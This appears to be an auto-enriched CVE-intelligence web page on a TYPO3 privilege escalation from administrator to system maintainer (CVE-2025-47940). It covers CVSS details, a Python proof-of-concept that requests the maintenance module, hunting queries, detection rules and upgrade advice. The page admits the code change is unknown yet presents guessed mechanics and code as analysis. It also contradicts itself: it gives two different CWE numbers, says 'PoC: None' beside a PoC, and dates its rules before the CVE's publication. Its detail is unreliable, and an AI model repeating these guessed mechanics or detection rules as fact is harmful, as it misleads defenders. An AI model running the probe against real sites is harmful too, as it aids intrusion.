☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Typo3 logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 🐛 CWE-283
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47940

CVE-2025-47940 Privilege Escalation in Typo3
📅 PUBLISHED: 2025-05-20 14:06 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
10.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47940 is a privilege escalation vulnerability in the TYPO3 content management system. An authenticated administrator-level backend user without system maintainer privileges can escalate their privileges to gain system maintainer access. This vulnerability affects TYPO3 versions starting from 10.0.0 up to, but not including, the patched versions. The CVSS score is 7.2 (High), and exploitation requires a valid administrator account. The vulnerability is rooted in improper privilege management (CWE-269) within the backend user interface.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

TYPO3 is a PHP-based web content management system distributed as a Composer package. The vulnerability exists in the core application code, not in a third-party dependency. Administrators should ensure they are using the latest patched versions from the official TYPO3 repository. The package is available via Packagist as typo3/cms.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: High (PR:H) – An administrator account is needed.
  • User Interaction: None (UI:N) – No user interaction is required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Full system maintainer access can lead to data exposure.
  • Integrity Impact: High (I:H) – System maintainer access allows modification of system files and configurations.
  • Availability Impact: High (A:H) – System maintainer access can disrupt the entire TYPO3 instance.

Deep Dive & Mechanics

The vulnerability lies in the privilege escalation path from an administrator-level backend user to a system maintainer. In TYPO3, system maintainers have the highest level of access, including the ability to install extensions, manage system configuration, and execute low-level operations. An administrator, while powerful, does not have these capabilities.

The flaw occurs in the backend user interface where privilege checks are insufficiently enforced. Specifically, when an administrator performs certain actions that should be restricted to system maintainers, the application fails to verify the user's group membership correctly. This allows an administrator to invoke system maintainer functions, such as accessing the "System Maintenance" module or executing install tool actions.

The root cause is a missing or incorrect access control check in the backend controller or middleware. The application likely relies on a user's group membership to determine if they are a system maintainer, but the check is bypassed due to a logic error or an incomplete validation of the user's session data.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but based on the vulnerability description, the fix likely involves adding or correcting an access control check in the backend user authentication or authorization layer.

Vulnerable Code (Conceptual):

// In a backend controller or middleware
if ($user->isAdmin()) {
    // Allow access to system maintainer functions
    // This is incorrect because isAdmin() does not imply system maintainer
    $this->grantAccess();
}

Patched Code (Conceptual):

// In a backend controller or middleware
if ($user->isSystemMaintainer()) {
    // Only system maintainers can access these functions
    $this->grantAccess();
} else {
    throw new AccessDeniedException();
}

The patched code explicitly checks for the system maintainer role instead of relying on the broader administrator role.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid TYPO3 administrator account (e.g., admin with password admin123).
  • Access to the TYPO3 backend at https://target.tld/typo3/.

Exploitation Steps:

  1. Log in to the TYPO3 backend as an administrator.
  2. Navigate to a system maintainer-only function, such as the "System Maintenance" module (typically at /typo3/module/system/maintenance).
  3. If the vulnerability is present, the page will load without an access denied error.
  4. Perform actions such as clearing caches, running database comparisons, or installing extensions.

Proof of Concept (PoC) Script:

import requests

target = "https://target.tld"
session = requests.Session()

# Login as admin
login_data = {
    "login_status": "login",
    "username": "admin",
    "pwd": "admin123",
    "redirect_url": "/typo3/",
}
session.post(f"{target}/typo3/index.php", data=login_data)

# Access system maintenance module
response = session.get(f"{target}/typo3/module/system/maintenance")
if "System Maintenance" in response.text:
    print("[+] Privilege escalation successful!")
else:
    print("[-] Access denied or patched.")

Blue Team

Detection Steps:

  1. Monitor backend access logs for unusual access to system maintainer modules by non-system maintainer users.
  2. Look for failed access attempts followed by successful access to restricted modules.
  3. Check for changes in user group assignments, especially if an administrator is suddenly granted system maintainer privileges.

Hunting Query (Splunk):

index=typo3_backend_logs sourcetype=access_log
| search "/typo3/module/system/*"
| eval is_system_maintainer=if(match(user_groups, "system_maintainer"), 1, 0)
| where is_system_maintainer=0
| table _time, user, user_groups, uri, status

Indicators of Compromise (IOCs)

  • Network:

    • HTTP requests to /typo3/module/system/maintenance or similar system maintainer endpoints from non-system maintainer users.
    • Unusual POST requests to /typo3/install.php or /typo3/sysext/install/ from administrator accounts.
  • Host:

    • Modified TYPO3 configuration files (e.g., LocalConfiguration.php) by non-system maintainer users.
    • Unexpected extensions installed by administrator accounts.
    • Changes to the be_users database table where admin field is set to 1 for non-system maintainer users.
  • Logs:

    • Backend access logs showing 403 Forbidden followed by 200 OK for the same user on a restricted module.
    • PHP error logs with AccessDeniedException or similar exceptions.

Detection Engineering

YARA Rule

rule CVE_2025_47940_TYPO3_Privilege_Escalation {
    meta:
        description = "Detects TYPO3 files vulnerable to CVE-2025-47940 privilege escalation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-47940"
        severity = "high"
    strings:
        $s1 = "isAdmin()" nocase
        $s2 = "SystemMaintainer" nocase
        $s3 = "grantAccess()" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: TYPO3 Privilege Escalation via CVE-2025-47940
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects access to system maintainer modules by non-system maintainer users in TYPO3 backend.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: typo3
detection:
    selection:
        uri|contains: "/typo3/module/system/"
    filter:
        user_groups|contains: "system_maintainer"
    condition: selection and not filter
falsepositives:
    - Legitimate system maintainer users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"TYPO3 CVE-2025-47940 Privilege Escalation Attempt";
    flow:to_server,established;
    content:"/typo3/module/system/"; http_uri;
    pcre:"/^\/typo3\/module\/system\/(maintenance|install)/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-47940;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade TYPO3 to the latest patched version:
    • 10.4.50 ELTS
    • 11.5.44 ELTS
    • 12.4.31 LTS
    • 13.4.12 LTS
  2. If immediate upgrade is not possible, restrict access to the TYPO3 backend to only trusted IP addresses.
  3. Review all administrator accounts and ensure they are necessary.

Long-term Measures:

  1. Implement the principle of least privilege for all backend users.
  2. Enable logging and monitoring of all backend actions.
  3. Regularly audit user group assignments and permissions.
  4. Subscribe to TYPO3 security advisories.

Workaround:

  • Temporarily disable the "System Maintenance" module for non-system maintainer users by modifying the TYPO3 configuration:
// In LocalConfiguration.php
'BE' => [
    'installToolPassword' => '...',
    'systemMaintainers' => ['1'], // Only allow user with uid 1
]

Report generated by Valters IT DevSecOps & CTI Division

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47940/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.